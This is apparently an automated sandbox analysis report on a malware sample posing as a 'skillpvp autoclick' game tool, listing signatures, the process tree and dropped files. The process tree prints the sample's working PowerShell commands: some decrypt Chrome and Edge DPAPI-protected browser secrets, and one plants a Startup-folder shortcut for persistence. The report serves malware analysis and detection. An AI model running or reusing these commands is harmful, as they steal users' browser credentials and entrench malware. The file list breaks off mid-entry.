Analysis

  • max time kernel
    151s
  • max time network
    145s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    05/09/2026, 17:33

General

  • Target
    2026-09-04_17daf1ec30136464b7a505bda1d0b053_cobalt-strike_icedid_luca-stealer_njrat_satacom.exe
  • Size 73.5MB
  • Sample260905-v467bswwft
  • SHA256 1ee6aac0c386494070152115da2dd8269edccfddacad218e6821104dd26961a7
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Creates a file in the Startup directory 1 TTPs 1 IoCs

    A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

  • Executes dropped EXE 7 IoCs
  • Loads dropped DLL 18 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

    Using powershell.exe command.

  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 17 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 18 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-09-04_17daf1ec30136464b7a505bda1d0b053_cobalt-strike_icedid_luca-stealer_njrat_satacom.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-09-04_17daf1ec30136464b7a505bda1d0b053_cobalt-strike_icedid_luca-stealer_njrat_satacom.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:700
    • C:\Users\Admin\AppData\Local\svcSUuWYczu.exe
      "C:\Users\Admin\AppData\Local\svcSUuWYczu.exe"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4580
      • C:\Users\Admin\AppData\Local\Temp\3I9Olpd9ZJZhEeMgAQ3JlNjGe4z\skillpvp_autoclick.exe
        C:\Users\Admin\AppData\Local\Temp\3I9Olpd9ZJZhEeMgAQ3JlNjGe4z\skillpvp_autoclick.exe
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:788
        • C:\Users\Admin\AppData\Local\Temp\3I9Olpd9ZJZhEeMgAQ3JlNjGe4z\skillpvp_autoclick.exe
          "C:\Users\Admin\AppData\Local\Temp\3I9Olpd9ZJZhEeMgAQ3JlNjGe4z\skillpvp_autoclick.exe" --type=gpu-process --user-data-dir="C:\Users\Admin\AppData\Roaming\skillpvp-autoclick" --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAAAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --mojo-platform-channel-handle=1652 --field-trial-handle=1656,i,3182925686996364620,2053466954176762024,262144 --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand /prefetch:2
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          PID:4508
        • C:\Users\Admin\AppData\Local\Temp\3I9Olpd9ZJZhEeMgAQ3JlNjGe4z\skillpvp_autoclick.exe
          "C:\Users\Admin\AppData\Local\Temp\3I9Olpd9ZJZhEeMgAQ3JlNjGe4z\skillpvp_autoclick.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --user-data-dir="C:\Users\Admin\AppData\Roaming\skillpvp-autoclick" --mojo-platform-channel-handle=2092 --field-trial-handle=1656,i,3182925686996364620,2053466954176762024,262144 --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand /prefetch:8
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          PID:4076
        • C:\Users\Admin\AppData\Local\Temp\3I9Olpd9ZJZhEeMgAQ3JlNjGe4z\skillpvp_autoclick.exe
          "C:\Users\Admin\AppData\Local\Temp\3I9Olpd9ZJZhEeMgAQ3JlNjGe4z\skillpvp_autoclick.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Roaming\skillpvp-autoclick" --app-path="C:\Users\Admin\AppData\Local\Temp\3I9Olpd9ZJZhEeMgAQ3JlNjGe4z\resources\app.asar" --no-sandbox --no-zygote --first-renderer-process --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=4 --mojo-platform-channel-handle=2236 --field-trial-handle=1656,i,3182925686996364620,2053466954176762024,262144 --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand /prefetch:1
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          PID:4124
        • C:\Users\Admin\AppData\Local\Temp\3I9Olpd9ZJZhEeMgAQ3JlNjGe4z\skillpvp_autoclick.exe
          "C:\Users\Admin\AppData\Local\Temp\3I9Olpd9ZJZhEeMgAQ3JlNjGe4z\skillpvp_autoclick.exe" --type=gpu-process --user-data-dir="C:\Users\Admin\AppData\Roaming\skillpvp-autoclick" --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAAAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --mojo-platform-channel-handle=2956 --field-trial-handle=1656,i,3182925686996364620,2053466954176762024,262144 --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand /prefetch:2
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          PID:5364
        • C:\Users\Admin\AppData\Local\Temp\3I9Olpd9ZJZhEeMgAQ3JlNjGe4z\skillpvp_autoclick.exe
          "C:\Users\Admin\AppData\Local\Temp\3I9Olpd9ZJZhEeMgAQ3JlNjGe4z\skillpvp_autoclick.exe" --type=gpu-process --user-data-dir="C:\Users\Admin\AppData\Roaming\skillpvp-autoclick" --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAAAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=disabled --mojo-platform-channel-handle=1516 --field-trial-handle=1656,i,3182925686996364620,2053466954176762024,262144 --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand /prefetch:2
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          PID:5232
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Security;$in=@('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAU5J5VJphQU6R8y8lVs5quRAAAAAcAAAARwBvAG8AZwBsAGUAIABDAGgAcgBvAG0AZQAAABBmAAAAAQAAIAAAAArJAsbWtamN955B0lfUHwXcB/FRzXdYbBXo56MnbYZiAAAAAA6AAAAAAgAAIAAAAKn4Fpfp5wcJY5Fvw4nwoMS9qcSthPigZNIFZE/UbRACMAAAAKk55ATP/HGLElZ09+rht7jpPY5YpsyFqBcXTaPq6MVSMAlwU9AGcCTO5R4+lyJQbkAAAAAQHsgVeHYsMO3hU441G63UZpKlAeE4gMc8R6sgc9K+CRPVPuOBVlGdlO9t6QLCGEzKk7RqsQJtC8HF2DenFGIw');$out=foreach($b in $in){try{[Convert]::ToBase64String([System.Security.Cryptography.ProtectedData]::Unprotect([Convert]::FromBase64String($b),$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser))}catch{\"\"}};Write-Output ($out -join \"|\")"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4152
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Security;$in=@('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAU5J5VJphQU6R8y8lVs5quRAAAAAeAAAATQBpAGMAcgBvAHMAbwBmAHQAIABFAGQAZwBlAAAAEGYAAAABAAAgAAAAk+VBfqZL60NKN/n7LIVYeBadi5G/ws0vRKBi+nLcygYAAAAADoAAAAACAAAgAAAAZlJgsQ4QJT++2NMTEkLZs3jO4ks8aDbwElIp8Map+d4wAAAAoOwTIySKxXb9kcwD6IkA5jh55SWNxILFHzYXNy7SkicXnjRgd5A+ZSKa1eWnMOk2QAAAALAIAEP5Wb8oazEkIU7aC940bJasQAkT/7mmTAUWI4yjPSZotI35NiNkVsXkd4ozI1PaGOa1hJnOKJ3oU2ByjkA=');$out=foreach($b in $in){try{[Convert]::ToBase64String([System.Security.Cryptography.ProtectedData]::Unprotect([Convert]::FromBase64String($b),$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser))}catch{\"\"}};Write-Output ($out -join \"|\")"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2584
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Security;$in=@('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAU5J5VJphQU6R8y8lVs5quRAAAAAcAAAARwBvAG8AZwBsAGUAIABDAGgAcgBvAG0AZQAAABBmAAAAAQAAIAAAAArJAsbWtamN955B0lfUHwXcB/FRzXdYbBXo56MnbYZiAAAAAA6AAAAAAgAAIAAAAKn4Fpfp5wcJY5Fvw4nwoMS9qcSthPigZNIFZE/UbRACMAAAAKk55ATP/HGLElZ09+rht7jpPY5YpsyFqBcXTaPq6MVSMAlwU9AGcCTO5R4+lyJQbkAAAAAQHsgVeHYsMO3hU441G63UZpKlAeE4gMc8R6sgc9K+CRPVPuOBVlGdlO9t6QLCGEzKk7RqsQJtC8HF2DenFGIw');$out=foreach($b in $in){try{[Convert]::ToBase64String([System.Security.Cryptography.ProtectedData]::Unprotect([Convert]::FromBase64String($b),$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser))}catch{\"\"}};Write-Output ($out -join \"|\")"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4872
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Security;$in=@('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAU5J5VJphQU6R8y8lVs5quRAAAAAeAAAATQBpAGMAcgBvAHMAbwBmAHQAIABFAGQAZwBlAAAAEGYAAAABAAAgAAAAk+VBfqZL60NKN/n7LIVYeBadi5G/ws0vRKBi+nLcygYAAAAADoAAAAACAAAgAAAAZlJgsQ4QJT++2NMTEkLZs3jO4ks8aDbwElIp8Map+d4wAAAAoOwTIySKxXb9kcwD6IkA5jh55SWNxILFHzYXNy7SkicXnjRgd5A+ZSKa1eWnMOk2QAAAALAIAEP5Wb8oazEkIU7aC940bJasQAkT/7mmTAUWI4yjPSZotI35NiNkVsXkd4ozI1PaGOa1hJnOKJ3oU2ByjkA=');$out=foreach($b in $in){try{[Convert]::ToBase64String([System.Security.Cryptography.ProtectedData]::Unprotect([Convert]::FromBase64String($b),$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser))}catch{\"\"}};Write-Output ($out -join \"|\")"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4960
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /d /s /c "robocopy "C:\Users\Admin\AppData\Local\Temp\3I9Olpd9ZJZhEeMgAQ3JlNjGe4z" "C:\Users\Admin\AppData\Local\skillpvp-updater" /E /COPY:DAT /R:0 /W:0 /NFL /NDL /NJH /NJS /NP"
          4⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:4708
          • C:\Windows\system32\Robocopy.exe
            robocopy "C:\Users\Admin\AppData\Local\Temp\3I9Olpd9ZJZhEeMgAQ3JlNjGe4z" "C:\Users\Admin\AppData\Local\skillpvp-updater" /E /COPY:DAT /R:0 /W:0 /NFL /NDL /NJH /NJS /NP
            5⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:4372
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -Command "$ws=New-Object -ComObject WScript.Shell;$s=$ws.CreateShortcut('C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Updater.lnk');$s.TargetPath='C:\Users\Admin\AppData\Local\skillpvp-updater\skillpvp_autoclick.exe';$s.WorkingDirectory='C:\Users\Admin\AppData\Local\skillpvp-updater';$s.WindowStyle=7;$s.Save()""
          4⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:5980
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -NoProfile -ExecutionPolicy Bypass -Command "$ws=New-Object -ComObject WScript.Shell;$s=$ws.CreateShortcut('C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Updater.lnk');$s.TargetPath='C:\Users\Admin\AppData\Local\skillpvp-updater\skillpvp_autoclick.exe';$s.WorkingDirectory='C:\Users\Admin\AppData\Local\skillpvp-updater';$s.WindowStyle=7;$s.Save()"
            5⤵
            • Creates a file in the Startup directory
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:5420

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 1ff6f0008df824ccf121830c7519304ee161addde8a0a304aaee8a2e1f7c9ad2
        • MD5 SHA1 SHA512 TLSH

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 80b80b6c2f354982a170b75f29277131b8f74522296ce36ee6fce8d0fa9e0a4b
        • MD5 SHA1 SHA512 TLSH

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 8fb09a26a2e952ec806a7755a91321f8c9a9d21f6450b852ca6869de90fb1b49
        • MD5 SHA1 SHA512 TLSH

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 618bfed6f40f58a86aa9956909e6ab3a9bbaf6388c68e5a7d684a5c7d6dbfbdf
        • MD5 SHA1 SHA512 TLSH

        __PSScriptPolicyTest_m1vwwkml.0xz.psm1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_m1vwwkml.0xz.psm1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH

        chrome_100_percent.pak

        • Path C:\Users\Admin\AppData\Local\Temp\nsu5C11.tmp\7z-out\chrome_100_percent.pak
        • Size 132KB
        • SHA256 86f6b8ffa8788603a433d425a4bc3c4031e5d394762fd53257b0d4b1cfb2ffa2
        • MD5 SHA1 SHA512 SSDEEP TLSH

        chrome_200_percent.pak

        • Path C:\Users\Admin\AppData\Local\Temp\nsu5C11.tmp\7z-out\chrome_200_percent.pak
        • Size 190KB
        • SHA256 8c1ae81d19fd6323a02eb460e075e2f25aba322bc7d46f2e6edb1c4600e6537a
        • MD5 SHA1 SHA512 SSDEEP TLSH

        d3dcompiler_47.dll

        • Path C:\Users\Admin\AppData\Local\Temp\nsu5C11.tmp\7z-out\d3dcompiler_47.dll
        • Size 4.7MB
        • SHA256 7353f25dc5cf84d09894e3e0461cef0e56799adbc617fce37620ca67240b547d
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ffmpeg.dll

        • Path C:\Users\Admin\AppData\Local\Temp\nsu5C11.tmp\7z-out\ffmpeg.dll
        • Size 2.8MB
        • SHA256 9d1eb0c6eb12bfa87e74a65c2fde5d61c4c93e21fb0800bbdccb6559527036a5
        • MD5 SHA1 SHA512 SSDEEP TLSH

        icudtl.dat

        • Path C:\Users\Admin\AppData\Local\Temp\nsu5C11.tmp\7z-out\icudtl.dat
        • Size 10.2MB
        • SHA256 f5170aa2b388d23bebf98784dd488a9bcb741470384a6a9a8d7a2638d768defb
        • MD5 SHA1 SHA512 SSDEEP TLSH

        libEGL.dll

        • Path C:\Users\Admin\AppData\Local\Temp\nsu5C11.tmp\7z-out\libEGL.dll
        • Size 477KB
        • SHA256 9cfc3001191e8b3eb9c96ba29e57e5bf9aaab264e83897e47cb968167a8a811b
        • MD5 SHA1 SHA512 SSDEEP TLSH

        libGLESv2.dll

        • Path C:\Users\Admin\AppData\Local\Temp\nsu5C11.tmp\7z-out\libGLESv2.dll
        • Size 7.3MB
        • SHA256 80c2ef6ca6d0ff4877bd0c0bc082ff19c3a5002d53648bcf5f54368560f9a411
        • MD5 SHA1 SHA512 SSDEEP TLSH

        en-US.pak

        • Path C:\Users\Admin\AppData\Local\Temp\nsu5C11.tmp\7z-out\locales\en-US.pak
        • Size 411KB
        • SHA256 0fd74bb69ad35b3f9391fa760bf0eb0ee73d2bea0066244577ef2abd269513de
        • MD5 SHA1 SHA512 SSDEEP TLSH

        fr.pak

        • Path C:\Users\Admin\AppData\Local\Temp\nsu5C11.tmp\7z-out\locales\fr.pak
        • Size 537KB
        • SHA256 52aa0a18ace6347b06a89e3851a1b116812c022dbe41da8942278878b5409cee
        • MD5 SHA1 SHA512 SSDEEP TLSH

        resources.pak

        • Path C:\Users\Admin\AppData\Local\Temp\nsu5C11.tmp\7z-out\resources.pak
        • Size 5.2MB
        • SHA256 bba36d4d18d64d9627f54c54fd645c5ba459d25a59acc5228210bd707aef67fd
        • MD5 SHA1 SHA512 SSDEEP TLSH

        app.asar

        • Path C:\Users\Admin\AppData\Local\Temp\nsu5C11.tmp\7z-out\resources\app.asar
        • Size 4.8MB
        • SHA256 a980c153f5ea3e4c922b59cae3c1923eb5bc3c5b26549e97ab731a5110ba44ea
        • MD5 SHA1 SHA512 SSDEEP TLSH

        LICENSE

        • Path C:\Users\Admin\AppData\Local\Temp\nsu5C11.tmp\7z-out\resources\app.asar.unpacked\node_modules\better-sqlite3\LICENSE
        • Size 1KB
        • SHA256 09856b52897c91ab67e7456ef43067019f31dfd3b87fda72e655736b1ebdee55
        • MD5 SHA1 SHA512 TLSH

        better_sqlite3.exp

        • Path C:\Users\Admin\AppData\Local\Temp\nsu5C11.tmp\7z-out\resources\app.asar.unpacked\node_modules\better-sqlite3\build\Release\better_sqlite3.exp
        • Size 859B
        • SHA256 4ecd2d1fd37d6e2d4b324cec3ff32552434100dc00751b8bd2ca68053b710e29
        • MD5 SHA1 SHA512 TLSH

        better_sqlite3.iobj

        • Path C:\Users\Admin\AppData\Local\Temp\nsu5C11.tmp\7z-out\resources\app.asar.unpacked\node_modules\better-sqlite3\build\Release\better_sqlite3.iobj
        • Size 13.5MB
        • SHA256 deefb489f34e5ede4cb04ed2089c9d4bcdf364f286a2ec26dd0baecb5df2e745
        • MD5 SHA1 SHA512 SSDEEP TLSH

        better_sqlite3.ipdb

        • Path C:\Users\Admin\AppData\Local\Temp\nsu5C11.tmp\7z-out\resources\app.asar.unpacked\node_modules\better-sqlite3\build\Release\better_sqlite3.ipdb
        • Size 2.9MB
        • SHA256 188e9223ae2069be72a5d98d32d0973a2235e00ce3f60d1500dd476eeb36bf88
        • MD5 SHA1 SHA512 SSDEEP TLSH

        better_sqlite3.lib

        • Path C:\Users\Admin\AppData\Local\Temp\nsu5C11.tmp\7z-out\resources\app.asar.unpacked\node_modules\better-sqlite3\build\Release\better_sqlite3.lib
        • Size 1KB
        • SHA256 21b83d37da7fb52360310d72e1c9342f3c1f0f75d1327a3f0b21f5ab8bd4cc53
        • MD5 SHA1 SHA512 TLSH

        better_sqlite3.node

        • Path C:\Users\Admin\AppData\Local\Temp\nsu5C11.tmp\7z-out\resources\app.asar.unpacked\node_modules\better-sqlite3\build\Release\better_sqlite3.node
        • Size 1.6MB
        • SHA256 e4b2f22cb2e30de836fb5fd9ce1dcbd68e1be6e87206e5a4fbaae1ba4a2045c6
        • MD5 SHA1 SHA512 SSDEEP TLSH

        better_sqlite3.node.recipe

        • Path C:\Users\Admin\AppData\Local\Temp\nsu5C11.tmp\7z-out\resources\app.asar.unpacked\node_modules\better-sqlite3\build\Release\obj\better_sqlite3\better_sqlite3.node.recipe
        • Size 512B
        • SHA256 697bb392c7f8cf38ff95b41da0b7be27bd0e975069a6ece013d8d7cb9c6d6cdf
        • MD5 SHA1 SHA512 TLSH

        CL.command.1.tlog

        • Path C:\Users\Admin\AppData\Local\Temp\nsu5C11.tmp\7z-out\resources\app.asar.unpacked\node_modules\better-sqlite3\build\Release\obj\better_sqlite3\better_sqlite3.tlog\CL.command.1.tlog
        • Size 6KB
        • SHA256 925a6f4c144b3952622aa0d442e2e9176b76c5d206414bec3018071e5cd31a3f
        • MD5 SHA1 SHA512 SSDEEP TLSH

        CL.read.1.tlog

        • Path C:\Users\Admin\AppData\Local\Temp\nsu5C11.tmp\7z-out\resources\app.asar.unpacked\node_modules\better-sqlite3\build\Release\obj\better_sqlite3\better_sqlite3.tlog\CL.read.1.tlog
        • Size 44KB
        • SHA256 c7e5cfe9cf401e4fd61dbbc947b7215729f39293e4770880e2b11e62ac4a9f95
        • MD5 SHA1 SHA512 SSDEEP TLSH

        CL.write.1.tlog

        • Path C:\Users\Admin\AppData\Local\Temp\nsu5C11.tmp\7z-out\resources\app.asar.unpacked\node_modules\better-sqlite3\build\Release\obj\better_sqlite3\better_sqlite3.tlog\CL.write.1.tlog
        • Size 896B
        • SHA256 308e7d587b8db2b6b9cf703ddc7d79ec90b9650557e824b30bdf02ce55d45c61
        • MD5 SHA1 SHA512 TLSH

        Cl.items.tlog

        • Path C:\Users\Admin\AppData\Local\Temp\nsu5C11.tmp\7z-out\resources\app.asar.unpacked\node_modules\better-sqlite3\build\Release\obj\better_sqlite3\better_sqlite3.tlog\Cl.items.tlog
        • Size 443B
        • SHA256 933541059a2d26f91e4fa9fbf2c4b1888870fd7fd911389554552b4163ffcef4
        • MD5 SHA1 SHA512 TLSH

        better_sqlite3.lastbuildstate

        • Path C:\Users\Admin\AppData\Local\Temp\nsu5C11.tmp\7z-out\resources\app.asar.unpacked\node_modules\better-sqlite3\build\Release\obj\better_sqlite3\better_sqlite3.tlog\better_sqlite3.lastbuildstate
        • Size 245B
        • SHA256 caf3512e41f4c07efeeb54c4ceb4cf4a309f16ca601c676f2d258afcf89e2053
        • MD5 SHA1 SHA512 TLSH

        link.command.1.tlog

        • Path C:\Users\Admin\AppData\Local\Temp\nsu5C11.tmp\7z-out\resources\app.asar.unpacked\node_modules\better-sqlite3\build\Release\obj\better_sqlite3\better_sqlite3.tlog\link.command.1.tlog
        • Size 2KB
        • SHA256 c347f46ac513088ed652210cd0c3cc02683063bb207f8ea81f130b7d480a05e1
        • MD5 SHA1 SHA512 TLSH

        link.read.1.tlog

        • Path C:\Users\Admin\AppData\Local\Temp\nsu5C11.tmp\7z-out\resources\app.asar.unpacked\node_modules\better-sqlite3\build\Release\obj\better_sqlite3\better_sqlite3.tlog\link.read.1.tlog
        • Size 5KB
        • SHA256 89685a1d9c9634ec0416a27da8ec883b89c4cb7b2e9a6e73762c7d540cb39d59
        • MD5 SHA1 SHA512 SSDEEP TLSH

        link.secondary.1.tlog

        • Path C:\Users\Admin\AppData\Local\Temp\nsu5C11.tmp\7z-out\resources\app.asar.unpacked\node_modules\better-sqlite3\build\Release\obj\better_sqlite3\better_sqlite3.tlog\link.secondary.1.tlog
        • Size 755B
        • SHA256 37f661a92eaf7ef3c6a0336c20882a611b3ef0759a170c58ac44b5dea63a12ff
        • MD5 SHA1 SHA512 TLSH

        link.write.1.tlog

        • Path C:\Users\Admin\AppData\Local\Temp\nsu5C11.tmp\7z-out\resources\app.asar.unpacked\node_modules\better-sqlite3\build\Release\obj\better_sqlite3\better_sqlite3.tlog\link.write.1.tlog
        • Size 1KB
        • SHA256 db6152ce3de007c4b9bc788f837f0be6f007d8941e5eb74039f226e0f74fcd8e
        • MD5 SHA1 SHA512 TLSH

        sqlite3.c

        • Path C:\Users\Admin\AppData\Local\Temp\nsu5C11.tmp\7z-out\resources\app.asar.unpacked\node_modules\better-sqlite3\build\Release\obj\global_intermediate\sqlite3\sqlite3.c
        • Size 8.8MB
        • SHA256 e80215754ac6cfaefe272342efd581b6dbefdbdc21f96bd83fcb698bee9d36a5
        • MD5 SHA1 SHA512 SSDEEP TLSH

        sqlite3.h

        • Path C:\Users\Admin\AppData\Local\Temp\nsu5C11.tmp\7z-out\resources\app.asar.unpacked\node_modules\better-sqlite3\build\Release\obj\global_intermediate\sqlite3\sqlite3.h
        • Size 643KB
        • SHA256 2198c66d4c59ae86421590c27fd53309ec14a595ae31c0c7143247444018a0bd
        • MD5 SHA1 SHA512 SSDEEP TLSH

        sqlite3ext.h

        • Path C:\Users\Admin\AppData\Local\Temp\nsu5C11.tmp\7z-out\resources\app.asar.unpacked\node_modules\better-sqlite3\build\Release\obj\global_intermediate\sqlite3\sqlite3ext.h
        • Size 37KB
        • SHA256 b184dd1586d935133d37ad76fa353faf0a1021ff2fdedeedcc3498fff74bbb94
        • MD5 SHA1 SHA512 SSDEEP TLSH

        test_extension.node.recipe

        • Path C:\Users\Admin\AppData\Local\Temp\nsu5C11.tmp\7z-out\resources\app.asar.unpacked\node_modules\better-sqlite3\build\Release\obj\test_extension\test_extension.node.recipe
        • Size 512B
        • SHA256 624f90f20dbc9f4321f3bfc01cfe5c45b6a2e15674bef7d2f126681cdea05c32
        • MD5 SHA1 SHA512 TLSH

        CL.command.1.tlog

        • Path C:\Users\Admin\AppData\Local\Temp\nsu5C11.tmp\7z-out\resources\app.asar.unpacked\node_modules\better-sqlite3\build\Release\obj\test_extension\test_extension.tlog\CL.command.1.tlog
        • Size 6KB
        • SHA256 844070d308d4da68c385bf989174376dba7187fa8bafe89a03d37eb36f04dd87
        • MD5 SHA1 SHA512 SSDEEP TLSH

        CL.read.1.tlog

        • Path C:\Users\Admin\AppData\Local\Temp\nsu5C11.tmp\7z-out\resources\app.asar.unpacked\node_modules\better-sqlite3\build\Release\obj\test_extension\test_extension.tlog\CL.read.1.tlog
        • Size 17KB
        • SHA256 66f35197d5d5f1c797e5beb7df74e19e278fb58c5e3a7126352a53451cacf2b6
        • MD5 SHA1 SHA512 SSDEEP TLSH

        CL.write.1.tlog

        • Path C:\Users\Admin\AppData\Local\Temp\nsu5C11.tmp\7z-out\resources\app.asar.unpacked\node_modules\better-sqlite3\build\Release\obj\test_extension\test_extension.tlog\CL.write.1.tlog
        • Size 896B
        • SHA256 63649113d91c1f39f7f98a13f5d5e7703ceee34bdc525b37b0852ebe2b4b01ca
        • MD5 SHA1 SHA512 TLSH

        Cl.items.tlog

        • Path C:\Users\Admin\AppData\Local\Temp\nsu5C11.tmp\7z-out\resources\app.asar.unpacked\node_modules\better-sqlite3\build\Release\obj\test_extension\test_extension.tlog\Cl.items.tlog
        • Size 443B
        • SHA256 fff2f6854e84e172e8f424642a50241f59d6b298f9847f3b56afb0a75a23d767
        • MD5 SHA1 SHA512 TLSH

        link.command.1.tlog

        • Path C:\Users\Admin\AppData\Local\Temp\nsu5C11.tmp\7z-out\resources\app.asar.unpacked\node_modules\better-sqlite3\build\Release\obj\test_extension\test_extension.tlog\link.command.1.tlog
        • Size 2KB
        • SHA256 065021333ebca22876afc45ac91266928a5ab680325ee71bb85e847445758d88
        • MD5 SHA1 SHA512 TLSH

        link.read.1.tlog

        • Path C:\Users\Admin\AppData\Local\Temp\nsu5C11.tmp\7z-out\resources\app.asar.unpacked\node_modules\better-sqlite3\build\Release\obj\test_extension\test_extension.tlog\link.read.1.tlog
        • Size 5KB
        • SHA256 47936dddef2d0d9fad35ca781f4667ccdad834a608df3a7d05f6b133fcce9774
        • MD5 SHA1 SHA512 SSDEEP TLSH

        link.secondary.1.tlog

